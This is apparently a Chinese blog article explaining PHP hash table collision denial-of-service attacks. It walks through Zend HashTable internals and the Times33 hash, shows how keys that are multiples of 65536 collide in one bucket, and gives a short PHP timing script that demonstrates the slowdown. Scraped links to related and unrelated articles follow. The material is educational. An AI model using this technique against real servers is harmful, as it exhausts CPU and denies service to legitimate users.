PHP哈希表碰撞攻击
哈希表是一种查找效率极高的数据结构,PHP中的哈希表是一种极为重要的数据结构,不但用于表示数组,关联数组,对象属性,函数表,符号表,还在Zend虚拟机内部用于存储上下文环境信息(执行上下文的变量及函数均使用哈希表结构存储)。
PHP是使用单链表存储碰撞的数据,因此实际上PHP哈希表的平均查找复杂度为O(L),其中L为桶链表的平均长度;而最坏复杂度为O(N),此时所有数据全部碰撞,哈希表退化成单链表
哈希表碰撞攻击就是通过精心构造数据,使得所有数据全部碰撞,人为将哈希表变成一个退化的单链表,此时哈希表各种操作的时间均提升了一个数量级,因此会消耗大量CPU资源,导致系统无法快速响应请求,从而达到拒绝服务攻击(DoS)的目的
下面是hash表的结构
typedef struct bucket {
        ulong h;                                                /* Used for numeric indexing */
        uint nKeyLength;
        void *pData;
        void *pDataPtr;
        struct bucket *pListNext;
        struct bucket *pListLast;
        struct bucket *pNext;
        struct bucket *pLast;
        const char *arKey;
} Bucket;
typedef struct _hashtable {
        uint nTableSize;
        uint nTableMask;
        uint nNumOfElements;
        ulong nNextFreeElement;
        Bucket *pInternalPointer;       /* Used for element traversal */
        Bucket *pListHead;
        Bucket *pListTail;
        Bucket **arBuckets;
        dtor_func_t pDestructor;
        zend_bool persistent;
        unsigned char nApplyCount;
        zend_bool bApplyProtection;
#if ZEND_DEBUG
        int inconsistent;
#endif
} HashTable;
Zend HashTable的哈希算法异常简单:
hash(key)=key & nTableMask
即简单将数据的原始key与HashTable的nTableMask进行按位与即可。
如果原始key为字符串,则首先使用Tims33算法将字符串转为整形再与nTableMask按位与。
hash(strkey)=time33(strkey) & nTableMask
下面是Times 33 算法 在/Zend/zend_hash.h这个文件当中
/*
* DJBX33A (Daniel J. Bernstein, Times 33 with Addition)
*
* This is Daniel J. Bernstein's popular `times 33' hash function as
* posted by him years ago on comp.lang.c. It basically uses a function
* like ``hash(i) = hash(i-1) * 33 + str[i]''. This is one of the best
* known hash functions for strings. Because it is both computed very
* fast and distributes very well.
*
* The magic of number 33, i.e. why it works better than many other
* constants, prime or not, has never been adequately explained by
* anyone. So I try an explanation: if one experimentally tests all
* multipliers between 1 and 256 (as RSE did now) one detects that even
* numbers are not useable at all. The remaining 128 odd numbers
* (except for the number 1) work more or less all equally well. They
* all distribute in an acceptable way and this way fill a hash table
* with an average percent of approx. 86%.
*
* If one compares the Chi^2 values of the variants, the number 33 not
* even has the best value. But the number 33 and a few other equally
* good numbers like 17, 31, 63, 127 and 129 have nevertheless a great
* advantage to the remaining numbers in the large set of possible
* multipliers: their multiply operation can be replaced by a faster
* operation based on just one shift plus either a single addition
* or subtraction operation. And because a hash function has to both
* distribute good _and_ has to be very fast to compute, those few
* numbers should be preferred and seems to be the reason why Daniel J.
* Bernstein also preferred it.
*
*
* -- Ralf S. Engelschall <rse@engelschall.com>
*/ static inline ulong zend_inline_hash_func(const char *arKey, uint nKeyLength)
{
register ulong hash = 5381; /* variant with the hash unrolled eight times */
for (; nKeyLength >= 8; nKeyLength -= 8) {
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
}
switch (nKeyLength) {
case 7: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
case 6: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
case 5: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
case 4: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
case 3: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
case 2: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
case 1: hash = ((hash << 5) + hash) + *arKey++; break;
case 0: break;
EMPTY_SWITCH_DEFAULT_CASE()
}
return hash;
}
那么, 这个键值是怎么构造的呢
PHP的Hashtable的大小都是2的指数, 比如如果你存入10个元素的数组, 那么数组实际大小是16, 如果存入20个, 则实际大小为32, 而63个话, 实际大小为64. 当你的存入的元素个数大于了数组目前的最多元素个数的时候, PHP会对这个数组进行扩容, 并且从新Hash.
现在, 我们假设要存入65536个元素(中间可能会经过扩容, 但是我们只需要知道, 最后的数组大小是65536, 并且对应的tableMask为0 1111 1111 1111 1111), 那么如果第一次我们存入的元素的键值为0, 则hash后的值为0,第二次64 ,也使hash后的数据为0 第n次…… 就可以使得底层的PHP数组把所有的元素都Hash到0号bucket上, 从而使得Hash表退化成链表了.
以下具体数据
0000 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0
0001 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0
0010 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0
0011 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0
0100 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0
……
概况来说只要保证后16位均为0,则与掩码位于后得到的哈希值全部碰撞在位置0。
下面是利用这个原理写的一段攻击代码:
<?php $size = pow(2, 16); $startTime = microtime(true); $array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$array[$key] = 0;
} $endTime = microtime(true); echo $endTime - $startTime, ' seconds', "\n"; /********************************************************************************************************/ $size = pow(2, 16); $startTime = microtime(true); $array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $size; $key += 1) {
$array[$key] = 0;
} $endTime = microtime(true); echo $endTime - $startTime, ' seconds', "\n";
正常的几秒就执行完了,而攻击的则需要几十秒
针对POST方式的哈希碰撞攻击,可以看 http://www.laruence.com/2011/12/30/2440.html。
参考:http://www.laruence.com/2011/12/30/2435.html
PHP哈希表碰撞攻击的更多相关文章
- PHP 哈希表碰撞攻击
		
理想情况下哈希表插入和查找操作的时间复杂度均为O(1),任何一个数据项可以在一个与哈希表长度无关的时间内计算出一个哈希值(key),然后在常量时间内定位到一个桶(术语bucket,表示哈希表中的一个位 ...
 - PHP内核探索:哈希碰撞攻击是什么?
		
最近哈希表碰撞攻击(Hashtable collisions as DOS attack)的话题不断被提起,各种语言纷纷中招.本文结合PHP内核源码,聊一聊这种攻击的原理及实现. 哈希表碰撞攻击的基本 ...
 - K:hash(哈希)碰撞攻击
		
相关介绍: 哈希表是一种查找效率极高的数据结构,很多语言都在内部实现了哈希表.理想情况下哈希表插入和查找操作的时间复杂度均为O(1),任何一个数据项可以在一个与哈希表长度无关的时间内计算出一个哈希值 ...
 - 从Dictionary源码看哈希表
		
一.基本概念 哈希:哈希是一种查找算法,在关键字和元素的存储地址之间建立一个确定的对应关系,每个关键字对应唯一的存储地址,这些存储地址构成了有限.连续的存储地址. 哈希函数:在关键字和元素的存储地址之 ...
 - Python 中的哈希表
		
Python 中的哈希表:对字典的理解 有没有想过,Python中的字典为什么这么高效稳定.原因是他是建立在hash表上.了解Python中的hash表有助于更好的理解Python,因为Pytho ...
 - 深入理解PHP内核(六)哈希表以及PHP的哈希表实现
		
原文链接:http://www.orlion.ga/241/ 一.哈希表(HashTable) 大部分动态语言的实现中都使用了哈希表,哈希表是一种通过哈希函数,将特定的键映射到特定值得一种数据 结构, ...
 - 简单的哈希表实现 C语言
		
简单的哈希表实现 简单的哈希表实现 原理 哈希表和节点数据结构的定义 初始化和释放哈希表 哈希散列算法 辅助函数strDup 哈希表的插入和修改 哈希表中查找 哈希表元素的移除 哈希表打印 测试一下 ...
 - 14 BasicHashTable基本哈希表类(一)——Live555源码阅读(一)基本组件类
		
这是Live555源码阅读的第一部分,包括了时间类,延时队列类,处理程序描述类,哈希表类这四个大类. 本文由乌合之众 lym瞎编,欢迎转载 http://www.cnblogs.com/oloroso ...
 - Redis哈希表的实现要点
		
Redis哈希表的实现要点 哈希算法的选择 针对不同的key使用不同的hash算法,如对整型.字符串以及大小写敏感的字符串分别使用不同的hash算法: 整型的Hash算法使用的是Thomas Wang ...
 
随机推荐
- Subset II leetcode java
			
题目: Given a collection of integers that might contain duplicates, S, return all possible subsets. No ...
 - 关于XSuperMES项目使用的AChartEngine图表引擎
			
 非常多时候项目中我们须要对一些统计数据进行绘制表格,更多直观查看报表分析 结果. 基本有以下几种方法: 1:能够进行android api进行draw这种话.效率比較低 2:使用开源绘表引擎, ...
 - 【Scala】Scala-Map使用方法
			
Scala-Map使用方法 scala map put_百度搜索 Scala中的Map使用例子 - CSDN博客 How to populate java.util.HashMap on the fl ...
 - hadoop2.2.0 centos 编译安装详解
			
http://blog.csdn.net/w13770269691/article/details/16883663 废话不讲,直切正题. 搭建环境:Centos x 6.4 64bit 1.安装JD ...
 - 详解管理root用户权限的sudo服务程序
			
在你想要使用超级权限临时运行一条命令时,sudo 命令非常方便,但是当它不能如你期望的工作时,你也会遇到一些麻烦.比如说你想在某些日志文件结尾添加一些重要的信息,你可能会尝试这样做: $ echo & ...
 - (转)Unity3D研究院之Assetbundle的实战(六十三)
			
上一篇文章中我们相惜讨论了Assetbundle的原理,如果对原理还不太了解的朋友可以看这一篇文章:Unity3D研究院之Assetbundle的原理(六十一) 本篇文章我们将说说assetbundl ...
 - 如何用简单例子讲解 Q - learning 的具体过程?
			
作者:牛阿链接:https://www.zhihu.com/question/26408259/answer/123230350来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明 ...
 - ecshop二次开发 使用ecshop电子商务系统的100个小问题
			
自己从事B4C电子商务开发一段时间了,特别对ecshop深有体会,刚接触的时候不容易理解,下面将根据自己的经验,来总结100条关于操作ecshop电子商务系统的小问题. 1:如何修改网站"欢 ...
 - 面试小结之Elasticsearch篇
			
https://www.cnblogs.com/luckcs/articles/7052932.html
 - 解决 IllegalArgumentException: Could not resolve placeholder in string value "${XXXXXX}"
			
如题: 导致这一问题的原因:使用了重复的property-placeholder 如一个配置文件中使用了 <context:property-placeholder location=" ...